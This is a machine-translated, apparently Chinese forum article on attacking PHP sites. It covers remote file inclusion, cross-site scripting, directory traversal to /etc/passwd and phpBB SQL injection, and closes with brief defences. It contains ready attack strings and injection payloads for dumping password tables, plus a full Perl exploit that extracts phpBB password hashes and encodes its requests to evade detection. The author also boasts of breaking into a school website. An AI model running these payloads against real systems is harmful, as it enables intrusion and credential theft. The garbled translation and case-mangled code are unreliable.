Judging from the current network security, the most attention and contact with the most Web page vulnerability should be ASP, in this respect, small bamboo is an expert, I have no say. However, in PHP, there are also serious security issues, but there are not many articles. Here, Let's talk a little bit about the vulnerabilities of PHP pages.
I have done a summary of the current common PHP vulnerabilities, roughly divided into the following: Include file vulnerabilities, script command execution vulnerabilities, file leaks, SQL injection vulnerabilities and so on. Of course, some of the generic techniques, such as cookie spoofing, are not discussed here, and there is a lot of information on the web. Let's just one to analyze how to exploit these vulnerabilities!
First, let's discuss the inclusion file vulnerability. This vulnerability should be said to be PHP unique. This is due to inadequate processing of externally provided malicious data, which can allow remote attackers to exploit these vulnerabilities to execute arbitrary commands on the system with Web process privileges. Let's take a look at an example: Suppose there is such a code in the a.php:
<?php
Include ($include.) /xxx.php ");
?>
In this code, $include is generally a path that has been set up, but we can construct a path by ourselves to achieve the purpose of the attack. Let's say we submit: a.php?include=http://web/b.php, this web is the space we use to attack, Of course, b.php is the code we use to attack. We can write code similar to: PassThru ("/bin/ls/etc") in b.php, so that we can perform some purposeful attacks. (Note: The Web server should not be able to execute PHP code, or there will be a problem.) to see how << attacks Common vulnerabilities in PHP programs >>. In this loophole, a lot of things, such as: PayPal Store Front,
Hotnews,mambo Open source,phpdig,yabb Se,phpbb,invisionboard,solmetra spaw editor,les Visiteurs,PhpGedView, X-cart wait a few.
Next, let's take a look at the script command execution vulnerability. This is due to the lack of adequate filtering of the URI parameters submitted to the user, and the submission of data containing malicious HTML code can lead to a cross-site scripting attack and potentially sensitive information for the target user. Let us also cite an example: in php php transparent php 4.3.1 The following version of the index.php page for the phpsessid lack of adequate filtering, we can use this code to achieve the purpose of the attack:
http://web/index.php?PHPSESSID="><script>...</script> in script we can construct functions to get some sensitive information about the user. There is a little less of this vulnerability, in addition to the PHP transparent: Php-nuke , phpbb,php classifieds,phpix,ultimate PHP board and so on.
And then we'll look at the file leak. This vulnerability is due to a lack of adequate filtering of user submission parameters that remote attackers can use to perform directory traversal attacks and to obtain sensitive information. Let's take the recently discovered phpMyAdmin as an example. In phpMyAdmin, the export.php page does not adequately filter the user-submitted ' What ' parameters, and the remote attacker submits a multiple '. /' character, you can bypass the Web root limit and view arbitrary file information on the system with Web permissions. For example, to enter such an address: export.php?what=. /.. /.. /.. /.. /.. /etc/passwd%00 will be able to achieve the purpose of the file leak. In this respect a little bit more, there are: Myphpnuke,mcnews and so on.
Finally, we are back to the most exciting place. Think of our usual in the ASP page with SQL injection how cool, before also manually injected, until the small bamboo to realize "SQL injection Gupta" (hehe), and then open to make NBSI after, we NB Alliance really pull out a piece of the sky. Had to help CSDN, Tycoon Forum, China Channel and other large websites to find loopholes. (These nonsense don't say much, a bit digress ...). Or the word stadia, in fact, in the ASP SQL injection and PHP SQL injection is roughly the same, but a little attention to the use of a few functions is good. Change the ASC to Ascii,len to length, and the other functions are basically the same. In fact, you see PHP SQL injection, Do you think of Php-nuke and phpBB? Yes, as the saying goes, trees are big strokes, like moving nets. Such a forum in the ASP industry should be the loophole of the king, this is not to say that its forum security is too bad, but the reputation is too loud, others use more, the study of the number of people, found that the more security vulnerabilities. PhpBB is also the same, now a large number of people use PHP as a forum, the general is the choice of PhpBB. It's also been out of the hole, from the earliest phpbb.com PhpBB 1.4.0 was found to be a loophole, to the present recent PhpBB 2.0.6 version of the groupcp.php, as well as the previous discovery of the search.php,profile.php,viewtopic.php, and so on add up, there are probably 10 or so. This has been the result, some people in the study of PHP loopholes will be used to do experiments , the so-called hundred practice into fine, I believe that the future phpbb will be better.
Well, let's try to analyze the cause of the leak. Take the viewtopic.php page, because when you call viewtopic.php, you get "topic_id" directly from the getting request and pass it to the SQL query command, and there's no filtering done. An attacker could submit a special SQL string for obtaining a MD5 password that could be used for automatic logon or brute force hacking. (I don't think anyone would want to be violent, unless there's a particularly important reason). Look at the relevant source code first:
# if (Isset ($http_get_vars[post_topic_url]))
# {
# $topic_id = Intval ($http_get_vars[post_topic_url]);
# }
# Else if (isset ($http_get_vars[' topic '))
# {
# $topic_id = intval ($http_get_vars[' topic '));
# }
From the above we can see that if the submitted View=newest and SID set the value, execute the query code like this (if you have not seen the PhpBB source code, I suggest you look at this, the affected system is: PhpBB 2.0.5 and PhpBB 2.0.4).
# $sql = ' Select p.post_id
# from '. Posts_table. "P,". Sessions_table. "s,". Users_table. "U
# WHERE s.session_id = ' $session_id '
# and u.user_id = s.session_user_id
# and p.topic_id = $topic_id
# and P.post_time >= u.user_lastvisit
# ORDER BY P.post_time ASC
# LIMIT 1 ";
Rick provides the following break test code:
Use Io::socket;
$remote = Shift | | ' localhost ';
$view_topic = Shift | | '/phpbb2/viewtopic.php ';
$uid = Shift | | 2;
$port = 80;
$dbtype = ' Mysql4 '; # Mysql4 or Pgsql
Print "Trying to get password hash for UID $uid server $remote dbtype: $dbtype\n";
$p = "";
for ($index=1; $index<=32; $index++)
{
$socket = io::socket::inet->new (peeraddr => $remote,
Peerport => $port,
Proto => "TCP",
Type => Sock_stream)
Or die "couldnt connect to $remote:$port: $@\n";
$str = "Get $view_topic". "? Sid=1&topic_id=-1". Random_encode (Make_dbsql ()). "&view=newest". "Http/1.0\n\n";
Print $socket $str;
Print $socket "cookie:phpbb2mysql_sid=1\n"; # Replace this for pgsql or remove it
Print $socket "Host: $remote\n\n";
while ($answer = <$socket>)
{
if ($answer =~/location:.*\x23 (\d+)/) # matches the location:viewtopic.php?p=<num>#<num>
{
$p. = Chr ();
}
}
Close ($socket);
}
Print "\nmd5 Hash for uid $uid is $p\n";
# random encode str. helps avoid detection
Sub Random_encode
{
$STR = shift;
$ret = "";
for ($i=0; $i<length ($STR); $i++)
{
$c = substr ($str,$i,1);
$j = Rand Length ($str) * 1000;
if (int ($j)% 2 | | $c eq ")
{
$ret. = "%". sprintf ("%x", Ord ($c));
}
Else
{
$ret. = $c;
}
}
return $ret;
}
Sub Make_dbsql
{
if ($dbtype eq ' mysql4 ')
{
Return "Union Select ORD (substring User_password,". $index. ", 1)" from Phpbb_users where user_id=$uid/* ";
} elsif ($dbtype eq ' pgsql ')
{
Return "; Select ASCII (substring (user_password from $index to 1)) as post_id from Phpbb_posts p, phpbb_users u where u.user_id=$uid or false ";
}
Else
{
Return "";
}
}
This break code, I don't have much to explain. The effect is to get the hash value.
See here, you may have a little doubt, why I said before the changes in the function of how did not use, I speak out of fear everyone jokes: In fact, many sites on the Web page of the query statement will look like this:
Display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
Don't laugh, it's true, I've been on a couple of big websites. As to which some, it is difficult to speak out, but our school's website, I just rely on this into the background (hope that the school Network Center can not see this article, ^_^). Use the function in front of it. Or you'll have to change the code, OH!!!
Almost forgot a bit, in the SQL injection, PHP and ASP, the use of SQL statements MySQL is not flexible, so many of the use of MSSQL query statements in the MySQL database can not be effective. Generally our common injection statements are like this: Aaa.php?id=a ' into outfile ' pass.txt or aaa.php?id=a ' into outfile ' pass.txt '//* can be further changed to: Aaa.php?id=a ' or 1=1 Union Select Id,name,password form users into OutFile ' C:/a.txt
This allows you to export the database data to a file, which you can then view.
Or so: mode= ', user_level= ' 4
This statement is generally used to modify the data, assuming that the page has a loophole, you can achieve elevated permissions to do.
Others such as ' or 1=1--or: 1 ' or 1 = ' 1 are similar to ASP. There's not much to say here. in PHP, SQL injection seems to be the top of the hole, and there are too many pages with this problem.
In fact, we can see that the above categories in the end there is only one reason: the submission parameters are not filtered or the filter is not rigorous. The hacker line of defense has always been offensive and guarded. Here, let's talk about the precautionary approach.
First of all, I personally think the most important thing is to put MAGIC_QUOTES_GPC on, which is to convert single quotes, double quotes, backslashes, and null characters into characters that contain backslashes, such as SELECT * from admin where username= ' $username ' and password= ' $password ' statements, the attacker wants to skip validation with 1 ' or 1 = ' 1, but those strings will be converted to this: SELECT * from admin where username= ' a ' and pass word= ' 1\ ' or 1=\ ' 1 ' in order to prevent injection, the fact is that the addslashes () operation. If not, define your own function. Now it seems that those who engage in PHP injection are also more depressed, because myslq4 the following version does not support the child statements, The new version of MySQL will also default to the MAGIC_QUOTES_GPC option to open.
The solution to include file vulnerabilities is: Require the programmer to include the parameters in the file as far as possible not to use variables, if the use of variables, we must strictly check the file name to include, absolutely can not be arbitrarily specified by the user, it is recommended to set Global_variables off. Restricting the PHP operation path in the previous file opening is a necessary option. Also, be sure to turn off PHP's remote file opening function, if you don't need it specifically. Modify php.ini file: Allow_url_fopen = off (note: see <<php security issues: remote overflow, DoS, safe_mode Bypass vulnerability >>).
Another point I think a lot of websites will have this problem, is not related to the error display. It may be nothing, but some stare for a long time (the word is a bit wrong oh) people can get through the error prompts such as database information, Web page file physical path, and so on.
